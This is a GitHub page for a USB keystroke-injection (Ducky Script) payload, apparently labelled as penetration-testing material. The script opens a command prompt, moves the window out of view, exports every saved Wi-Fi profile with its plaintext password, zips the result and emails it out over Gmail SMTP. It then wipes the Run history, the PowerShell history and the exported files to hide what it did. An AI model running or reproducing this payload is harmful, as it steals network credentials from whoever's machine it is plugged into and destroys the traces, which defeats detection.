-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathWifiInfoEmailSender
More file actions
78 lines (78 loc) · 1.64 KB
/
Copy pathWifiInfoEmailSender
File metadata and controls
78 lines (78 loc) · 1.64 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
REM --> Made by Gleb Olsen for Ducky/Malduino penetration testing.
DELAY 2000
GUI d
DELAY 150
GUI r
DELAY 400
STRING cmd
ENTER
DELAY 500
REM --> Hide the console from screen.
ALT SPACE
DELAY 200
STRING m
DELAY 200
DOWNARROW
REPEAT 100
DELAY 200
REM --> Create file (A) for trasmission.
STRING cd Desktop
ENTER
STRING mkdir A
ENTER
STRING cd A
ENTER
STRING netsh wlan export profile key=clear
ENTER
DELAY 200
STRING cd ..
ENTER
STRING powershell
ENTER
STRING Compress-Archive -Path A -DestinationPath A.zip
ENTER
REM --> Remember! To enable lesssecureapps on google mail that you're using.
DELAY 500
STRING $SMTPServer = 'smtp.gmail.com'
ENTER
STRING $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
ENTER
STRING $SMTPInfo.EnableSsl = $true
ENTER
STRING $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('EMAIL_FROM', 'EMAIL_FROM_PASSWORD')
ENTER
STRING $ReportEmail = New-Object System.Net.Mail.MailMessage
ENTER
STRING $ReportEmail.From = 'EMAIL_FROM'
ENTER
STRING $ReportEmail.To.Add('EMAIL_TO')
ENTER
STRING $ReportEmail.Subject = "SUBJECT_TEXT"
ENTER
STRING $ReportEmail.Body = "MESSAGE_TEXT"
ENTER
STRING $ReportEmail.Attachments.Add("A.zip")
ENTER
STRING $SMTPInfo.Send($ReportEmail)
ENTER
DELAY 500
REM --> Remove everything from the current target.
REM --> Both console history and the transmission.
STRING REG DELETE HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /f
ENTER
STRING cd ..
ENTER
STRING cd AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine
ENTER
STRING del ConsoleHost_history.txt
ENTER
STRING exit
ENTER
DELAY 1500
STRING del A & rmdir A
ENTER
STRING y
ENTER
STRING del A.zip & exit
ENTER
STRING y